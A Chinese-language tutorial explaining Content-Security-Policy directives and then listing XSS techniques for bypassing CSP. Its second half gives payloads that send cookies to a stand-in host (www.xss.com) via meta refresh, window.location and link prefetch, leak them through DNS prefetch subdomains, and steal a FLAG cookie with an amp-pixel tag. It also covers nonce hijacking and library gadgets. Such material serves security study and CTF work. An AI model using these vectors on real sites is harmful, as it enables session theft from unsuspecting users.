CSP策略及绕过方法

XSS的时候经常要绕过CSP，这里总结一下

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CSP策略

一个CSP头由多组CSP策略组成，中间由分号分隔，就像这样：

Content-Security-Policy: default-src 'self' www.baidu.com; script-src 'unsafe-inline'

其中每一组策略包含一个策略指令和一个内容源列表

一、常用的策略指令：

• default-src

default-src 指令定义了那些没有被更精确指令指定的安全策略。这些指令包括：

• child-src
• connect-src
• font-src
• img-src
• media-src
• object-src
• script-src
• style-src

• script-src

script-src定义了页面中Javascript的有效来源

• style-src

style-src定义了页面中CSS样式的有效来源

• img-src

img-src定义了页面中图片和图标的有效来源

• font-src

font-src定义了字体加载的有效来源

• connect-src

connect-src定义了请求、XMLHttpRequest、WebSocket 和 EventSource 的连接来源。

• child-src

child-src 指定定义了 web workers 以及嵌套的浏览上下文（如<frame>和<iframe>）的源。

二、内容源：

内容源有三种：源列表、关键字和数据

• 源列表

源列表是一个字符串，指定了一个或多个互联网主机（通过主机名或 IP 地址），和可选的或端口号。站点地址可以包含可选的通配符前缀 (星号, '*')，端口号也可以使用通配符 (同样是 '*') 来表明所有合法端口都是有效来源。主机通过空格分隔。
有效的主机表达式包括：
http://*.foo.com （匹配所有使用 http协议加载 foo.com 任何子域名的尝试。）
mail.foo.com:443 （匹配所有访问 mail.foo.com 的 443 端口 的尝试。）
https://store.foo.com （匹配所有使用 https协议访问 store.foo.com 的尝试。）
如果端口号没有被指定，浏览器会使用指定协议的默认端口号。如果协议没有被指定，浏览器会使用访问该文档时的协议。

• 关键字

  • 'none'
    代表空集；即不匹配任何 URL。两侧单引号是必须的。
  • 'self'
    代表和文档同源，包括相同的 URL 协议和端口号。两侧单引号是必须的。
  • 'unsafe-inline'
    允许使用内联资源，如内联的<script>元素、javascript: URL、内联的事件处理函数和内联的<style>元素，两侧单引号是必须的。
  • 'unsafe-eval'
    允许使用 eval() 等通过字符串创建代码的方法。两侧单引号是必须的。

Content-Security-Policy: default-src 'self' trustedscripts.foo.com

• 数据

  • data:
    允许data: URI作为内容来源。
  • mediastream:
    允许mediastream: URI作为内容来源。

Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:

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CSP绕过方式

CSP的设置可能情况太多，这里只讨论几个比较典型的情况。

一、url跳转

在default-src 'none'的情况下，可以使用meta标签实现跳转

<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >

在允许unsafe-inline的情况下，可以用window.location，或者window.open之类的方法进行跳转绕过。

<script>
  window.location="http://www.xss.com/x.php?c=[cookie]";
</script>

二、<link>标签预加载

CSP对link标签的预加载功能考虑不完善。
在Chrome下，可以使用如下标签发送cookie（最新版Chrome会禁止）

<link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]">

在Firefox下，可以将cookie作为子域名，用dns预解析的方式把cookie带出去，查看dns服务器的日志就能得到cookie

<link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">

三、利用浏览器补全

有些网站限制只有某些脚本才能使用，往往会使用<script>标签的nonce属性，只有nonce一致的脚本才生效，比如CSP设置成下面这样：

Content-Security-Policy: default-src 'none';script-src 'nonce-abc'

那么当脚本插入点为如下的情况时

<p>插入点</p>
<script id="aa" nonce="abc">document.write('CSP');</script>

可以插入

<script src=//14.rs a="

这样会拼成一个新的script标签，其中的src可以自由设定

<p><script src=//14.rs a="</p>
<script id="aa" nonce="abc">document.write('CSP');</script>

四、代码重用

Blackhat2017上有篇ppt总结了可以被用来绕过CSP的一些JS库。
例如假设页面中使用了Jquery-mobile库，并且CSP策略中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'"，那么下面的向量就可以绕过CSP：

<div data-role=popup id='<script>alert(1)</script>'></div>

在这个PPT之外的还有一些库也可以被利用，例如RCTF2018中遇到的amp库，下面的标签可以获取名字为FLAG的cookie

<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>  

五、iframe

1.如果页面A中有CSP限制，但是页面B中没有，同时A和B同源，那么就可以在A页面中包含B页面来绕过CSP：

<iframe src="B"></iframe>

2.在Chrome下，iframe标签支持csp属性，这有时候可以用来绕过一些防御，例如"http://xxx"页面有个js库会过滤XSS向量，我们就可以使用csp属性来禁掉这个js库。

<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>

六、meta标签

meta标签有一些不常用的功能有时候有奇效：
meta可以控制缓存（在header没有设置的情况下），有时候可以用来绕过CSP nonce。

<meta http-equiv="cache-control" content="public">

meta可以设置Cookie（Firefox下），可以结合self-xss利用。

<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">